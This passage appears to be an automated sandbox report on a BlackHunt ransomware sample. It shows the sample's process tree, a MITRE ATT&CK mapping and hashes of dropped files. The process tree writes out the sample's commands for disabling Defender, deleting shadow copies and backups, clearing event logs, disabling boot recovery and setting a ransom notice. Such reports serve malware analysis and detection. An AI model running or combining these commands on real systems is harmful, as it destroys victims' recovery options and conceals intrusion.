  2⤵
  PID:284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1372
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3964
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3888
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3692
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2856
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3424
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:4000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1248
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3784
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:1988
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3664
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    - Modifies registry class
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3720
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1560
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3448
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    - Enumerates connected drives
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3620
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3960
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3676
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1984
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe"
  2⤵
  - Deletes itself
  PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:1204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:4072

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:3032

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
PID:2800

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2184

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:2252

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:2948

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:1516

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:1852

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:1736

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:2012

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:1204

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2420

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2780

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2900

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2700

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2140

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3112

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1772

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3780

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-302601766-64144937-16549697363026296856989583041165447674-12607357011991867910"
1⤵
PID:1420

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-769555618853496631-1389695872808755989-665029511-37274844-46007295545116660"
1⤵
PID:2640

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:2540

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
1⤵
- Runs ping.exe
PID:3868

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "11780405271033605375-834087797-10917833694162805852044263476-886865071-1993644692"
1⤵
- Suspicious use of WriteProcessMemory
PID:2724

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4060

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2280

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1975185347-159870730922786888262422689-856379011902843791740115858-1710792726"
1⤵
PID:2960

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-203692851454237747403511449169746958114982582261495476599-366899898-282639711"
1⤵
- Suspicious use of WriteProcessMemory
PID:2572

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:1648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\#BlackHunt_Private.key

Filesize
1KB

MD5
66312ac7b616c2abf37db8aa43e8f3f9

SHA1
a59902a40bd97944a62df0dd28376595384c2881

SHA256
fb1f6bf965c79ad3ad79778a57f4fce05ab2aac0cb0caed6e90968a98c8b127b

SHA512
2207e8bb1dab71a026084536bf30d1e16cb8ec2777891ab0adcf463408753390472f0499b926eba881fa45a87e6de4173b398f504db46a00ab1508d6373d1012

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
34100b23ca682a5b2ad529d8d82d069d

SHA1
b303b56216e30bcd997ee643b541405542e3ca2f

SHA256
0c34a5b0f258be46cf73ebacb0c93a140f0d04098209d5b738a5304ce867ac6e

SHA512
36dd847f0f2efdc613d6529f232d1695ff497855e25d24b7f9e427a2a205103e22bed5d5762071e3bdc505d900148a04a8ebf092abaf0ff419898d8ce4b5856f

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
a4ff25df720d6fcac73583088ae8f097

SHA1
88c633ab80c5b8c325bf98490a309e18607cb5b1

SHA256
b67220af6d13cd72bbc1f75b2f02c81d09fea5881dcab62dbd23fdab93b3639d

SHA512
aa72995e260b5ae5d0e6c2eda77da5cff605145f247a36b296579ed47b7d644f9d751ef57f7ae3c322fb7175fa1febd7f2726ec35fdaf4bfee0f4f404571abfe

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads